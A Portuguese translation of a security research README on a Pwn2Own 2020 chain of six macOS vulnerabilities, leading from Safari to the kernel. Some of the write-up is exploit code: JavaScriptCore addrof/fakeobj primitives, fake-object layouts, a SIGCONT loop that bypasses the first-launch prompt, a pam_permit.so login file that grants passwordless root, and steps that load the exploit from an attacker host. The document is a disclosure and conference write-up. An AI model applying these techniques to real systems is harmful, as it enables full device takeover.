
Comprometendo o kernel do macOS através do Safari ao encadear seis vulnerabilidades
Este repositório contém detalhes de exploração e técnicos de nossa submissão vencedora do Pwn2Own 2020 visando o Apple Safari com uma escalada de privilégios de kernel para o macOS 10.15.3. Para mais informações, você também pode conferir nossos slides do Blackhat USA 2020 e vídeo. Este repositório também inclui nosso vídeo de demonstração para a exploração bem-sucedida.
2. Acesse o site com o IP do servidor do atacante usando o Safari:```
http://[attacker_ip]/exploit.html
csrutil status, que mostrará disabled.Para sua conveniência, fornecemos um payload compilado, payload.js. Mas, se quiser, você pode compilá-lo você mesmo. Observe que isso levará muito tempo, pois compilaremos o WebKit como parte da nossa cadeia de exploração. Vale a pena notar que testamos nosso processo de compilação apenas no Mac OS.```shell
$ python3 -m pip install --user lief $ make
Detalhes técnicos
-----------------
Para criar este exploit, encadeamos as seguintes *SEIS* vulnerabilidades.
### 1. Execução remota de código no Safari por meio de modelagem incorreta de efeitos colaterais do operador 'in' no compilador DFG do JavaScriptCore
- Análise da causa raiz
No JavaScriptCore, quando uma propriedade indexada era consultada com o operador 'in',
o compilador DFG assume que ela não tem efeitos colaterais, a menos que haja um objeto
proxy em sua cadeia de protótipos que possa interceptar essa operação.
O JavaScriptCore marca um objeto que pode interceptar esse acesso a propriedade indexada
usando o sinalizador chamado 'MayHaveIndexedAccessors'. Esse sinalizador é
marcado explicitamente para o objeto Proxy.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
No entanto, existe outro objeto que pode causar efeitos colaterais: o
JSHTMLEmbedElement, que implementa seu próprio método getOwnPropertySlot(). Uma
forma de acionar callbacks de JavaScript (ou seja, efeitos colaterais) com o operador in é
usando o elemento <embed> com o plugin de PDF; quando qualquer propriedade é consultada no
objeto DOM da tag embed / object, ele tenta carregar o plugin subjacente e
o manipulador de eventos DOMSubtreeModified pode ser chamado no caso do plugin de PDF, porque
ele usa o método appendChild no elemento body.
Este é o stack trace da chamada do efeito colateral a partir de getOwnPropertySlot().```txt
Stack trace
#1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb)
#2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7)
#3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48)
#4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4)
#5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224)
#6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c)
#7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85)
#8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912)
#9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e)
#10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807)
#11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7)
#12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595)
#13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681)
#14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d)
#15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77)
#16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26)
#17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca)
#18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023)
#19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913)
#20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)
Como nenhum objeto na cadeia de protótipos está marcado com
"MayHaveIndexedAccessors", o JIT assume que este uso do operador 'in' não
tem nenhuma transição interna, eliminando as verificações de tipo de array após
a transição.```javascript
// In the frame of
function opt(arr) {
arr[0] = 1.1;
100 in arr; // 100 not exists in arr, making it check __proto__
return arr[0]
}
for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')
document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})
document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value
Ao construir a primitiva addrof/fakeobj a partir disso, poderíamos criar uma primitiva de RW arbitrária para obter execução de código com a função JavaScript compilada por JIT.
Depois de obter as primitivas addrof/fakeobj, nós as convertemos em primitivas addrof/fakeobj mais estáveis ao falsificar um objeto.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }
hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }
Vazamos o structure id do hostObj criando um objeto de função falso
fakeHostObj e chamando Function.prototype.toString nele. O nome da
função reflete o valor do structure id como string UTF-16. Atualizamos o
hostObj após vazar o structure id. Vale a pena notar que esta
técnica é da [palestra de Yong Wang no Blackhat EU 2019
](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
// hostObj.structureId
// hostObj.butterfly
_: 1.1, // dummy
length: (new Int64('0x4141414141414141')).asDouble(),
// -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
id: leakStructureId.asDouble(), // fakeHostObj.structureId
butterfly: fakeHostObj, // fakeHostObj.butterfly
o: {},
...
}
Agora temos a butterfly de fakeHostObj apontando para o próprio fakeHostObj. Podemos usar a primitiva addrof/fakeobj sem disparar o bug novamente, pois podemos acessar hostObj.o como JSValue ou como double usando fakeHostObj[2].
Usando o id de estrutura vazado de attackObj e a primitiva addrof/fakeobj, podemos criar objetos como abaixo.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly
__: 1.1, // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
// fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(), // fakeInnerObj.structureId
innerButterfly: fakeInnerObj, // fakeInnerObj.butterfly
}
Podemos obter uma primitiva arbitrária de leitura/escrita usando o fakeRwObj para atualizar
o ponteiro butterfly do fakeInnerObj e ler/escrever de/para o fakeInnerObj. Para obter
RCE a partir da primitiva arbitrária de leitura/escrita, disparamos a compilação JIT da função dummy,
vazamos o endereço do código e o sobrescrevemos com o nosso shellcode. Às vezes,
o vazamento do endereço do código falha porque não conseguimos ler/escrever certos valores do nosso
array falso. Nesse caso, tentamos aproximá-lo lendo da localização do ponteiro
+ 1 e deslocando o valor lido. Por fim, sobrescrevemos o ponteiro
de código da função alert com o ponteiro de código da nossa função dummy e a chamamos
(com alguns argumentos) para executar o shellcode.
### 2. Abertura arbitrária de .app no Safari via link simbólico em didFailProvisionalLoad()
Para URLs file://, o Safari abre uma janela do Finder com [NSWorkspace selectFile:inFileViewerRootedAtPath:].
Essa função aceita dois parâmetros e, na maioria dos casos, o Safari usa apenas o
primeiro parâmetro, que mostra a pasta que contém o arquivo especificado. Mas
se o segundo parâmetro for usado em vez disso, o Finder abre o arquivo se ele for
executável ou um bundle de aplicativo.
O Safari usa o segundo parâmetro após confirmar que o caminho apontado não é um
bundle de aplicativo --- diretório com sufixo .app. Como um link simbólico pode
apontar para o bundle do aplicativo, mas ele não é um diretório com sufixo .app.
Assim, o Safari abrirá o aplicativo apontado pelo link simbólico. Esse
caminho de código pode ser acionado enviando a mensagem IPC didFailProvisionalLoad().
No entanto, o próprio Safari não pode criar um link simbólico devido ao filtro de chamadas de sistema
da sandbox Seatbelt. Então usamos outra vulnerabilidade que concede root, mas com
execução de código em sandbox.
### 3. Execução arbitrária de código no serviço CVM (Core Virtual Machine) via estouro de heap
Existe um serviço XPC em sandbox chamado com.apple.cvmsServ (ou seja, CVMServer),
que compila shaders para várias arquiteturas. Ele faz parte do framework
OpenGL integrado.
Para requisições com o campo "message" definido como 4, o CVMServer analisa o "framework data" e os "maps" especificados pelo usuário. O arquivo de dados "maps" está localizado em
"/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" - o primeiro %s é
especificado pelo usuário sem nenhum filtro. Portanto, o directory traversal é possível; podemos
fazer com que ele analise o arquivo criado dentro da sandbox do Safari.```c
FILE *fp = fopen(&framework_name_, "r");
...
Header *header = malloc(0x50);
fread(header, 0x50, 1, v132);
...
items_offset = header->items_offset;
items_count = header->items_count;
header = realloc(header, 56 * items_count + items_offset);
fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);
Se item_count * 56 + items_offset <= 0x50, fread() receberá um comprimento com underflow próximo de 2^64, tornando-se um heap overflow com payload de comprimento arbitrário.
Observe que fread() para quando o final do arquivo especificado é atingido.
Ao utilizar isso, poderíamos sobrescrever o objeto de heap relacionado à conexão, o que poderia modificar os ponteiros mencionados abaixo:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);
__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax
pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }
Se o valor de "port" for 0x103 (TASK-SELF), o serviço concederá ao cliente o
direito de envio do task port do CVMServer, que pode ser usado para alocar memória e
executar código arbitrário no processo. Para fazer v8[index].port == 0x103, nós
procuramos na memória da área de bibliotecas, que têm os mesmos endereços entre
os processos.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)
Havia muitas áreas que tinham dois valores inteiros de 64 bits 0, -1, e para rax+0x38 e X+0x30, descobrimos que _xpc_error_termination_imminent, que é um símbolo público, satisfaz essa condição. Como o comprimento é maior que 2^64 / 0x10, pudemos calcular o inverso modular para apontar Y(==0)*0x18+index+0x10 == &0x103.
Como o CVMServer tinha com.apple.security.cs.allow-jit definido, pudemos chamar mmap com a flag MAP_JIT e invocar nosso carregador reflexivo para executar arquivos dylib no processo. Executamos este código no CVMServer:```c // In /var/db/CVMS (writable folder)
char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");
// Create a valid application at my.app
Depois de criar %lu.app e o link simbólico my.app, voltamos ao Safari e enviamos a mensagem IPC para abrir o aplicativo. Mas havia mais duas proteções: a verificação de quarentena e a verificação de abertura do aplicativo pela primeira vez.
### 4. Bypass da proteção de primeira execução de aplicativos no macOS
Se o Safari tenta executar um aplicativo pela primeira vez, ele nega a execução se o arquivo tiver um atributo chamado com.apple.quarantine ou aguarda a confirmação do usuário. Todos os arquivos criados pelo WebProcess possuem o atributo --- com.apple.quarantine; no entanto, já podemos contornar isso porque criamos a pasta no processo CVMServer, não no WebProcess. Para a confirmação do usuário, o macOS primeiro cria o processo, o suspende e continua o processo depois que o usuário clica no botão `Open`. Mas o envio do sinal SIGCONT funcionou da mesma forma que clicar no botão.
Assim, executamos este código continuamente no CVMServer após criar my.app:```c
for(int i = 0; i < 65536; i++)
kill(i, SIGCONT);
cfprefsd é outro serviço XPC que permite a um usuário criar arquivos plist. Ele está localizado na CoreFoundation e é acessível a partir da maioria dos processos sem sandbox. Como já obtivemos privilégio sem sandbox para um usuário normal (ou seja, CVMServer), podemos solicitar a ele a criação de um arquivo plist se a pasta e o arquivo de destino tiverem bits de permissão suficientes que permitam ao usuário cliente gravar no arquivo. No entanto, se a pasta não existir, ele cria a pasta do arquivo plist recursivamente.
Aqui está um trecho de código do CVMServer que cria a pasta.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }
Mas se um caminho apontar para um diretório gravável pelo utilizador, um utilizador pode substituir o diretório
apontado por `cur`, e substituí-lo por uma ligação simbólica para um ficheiro/pasta arbitrário.
Como o cfprefsd tem privilégios de root, é possível alterar o proprietário das
pastas como /etc/pam.d. Ao alterar o proprietário de /etc/pam.d, podemos escrever
/etc/pam.d/login com o seguinte conteúdo:```txt
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
Então o comando login root dará ao usuário um shell root sem qualquer
autenticação.
kextload é um dos programas que podem realizar operações de kext (Kernel Extension)
no macOS. Ao executar kextload [caminho da pasta .kext], um usuário root pode
carregar uma kext assinada do modo de usuário. Para impedir kexts não assinadas ou
com assinatura inválida, o kextload define um callback 'authenticator' no pacote
IOKitUser. Infelizmente, o caminho da kext é o único recurso disponível para o
callback, sendo difícil prevenir a condição de corrida. Para mitigar isso, o
kextload primeiro copia a pasta da kext para o espaço dedicado -- /Library/StagedExtensions ---
que não pode ser modificado nem com privilégio de root, graças ao SIP e ao mecanismo
de entitlements.
O kextload funciona da seguinte maneira. Se executarmos kextload /tmp/A.kext, o
kextload copia a pasta original da kext para /Library/StagedExtensions/tmp/[UUID].kext.
Em seguida, o kextload verifica as assinaturas de todos os arquivos na pasta. Se
isso falhar, ele remove a pasta. Caso contrário, ele copia a pasta para
/Library/StagedExtensions/tmp/A.kext e carrega este módulo.```txt
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> validate signatures. if failed, delete the directory
-> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
-> load the kext
Um problema no kextload é que esse processo pode ser encerrado por um usuário com privilégios de root. Vale notar que a referida cópia inclui um link simbólico, que será validado posteriormente. No entanto, se matarmos o processo kextload antes da validação, podemos preservar um kext inválido com um link simbólico em /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext
-> kill this process
-> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained
Depois disso, se executarmos outro comando kextload com
kextload /tmp/[UUID].kext/symlink/B.kext, B.kext será copiado para o local
gravável para um usuário com privilégios de root (por exemplo, /tmp/[UUID'].kext)```
$ kextload /tmp/[UUID].kext/symlink/B.kext
-> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
-> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.
Após a cópia, o kextload verifica se está localizado em um local seguro, que é
`/Library/StagedExtensions/*`. Podemos colocar temporariamente o link simbólico em
/tmp/A.kext para apontar para /Library/StagedExtensions/[caminho do kext válido]. Após a
validação, podemos substituir o binário do módulo por um módulo de kernel não assinado, para
obter execução de código no kernel.
Para tornar a corrida confiável, usamos o sandbox-exec para interromper o programa no acesso
ao arquivo com o sufixo especificado.
Autores
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])
Citação
--------```txt
@inproceedings{jin:pwn2own2020-safari,
title = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
author = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
booktitle = {Black Hat USA Briefings (Black Hat USA)},
month = aug,
year = 2020,
address = {Las Vegas, NV},
}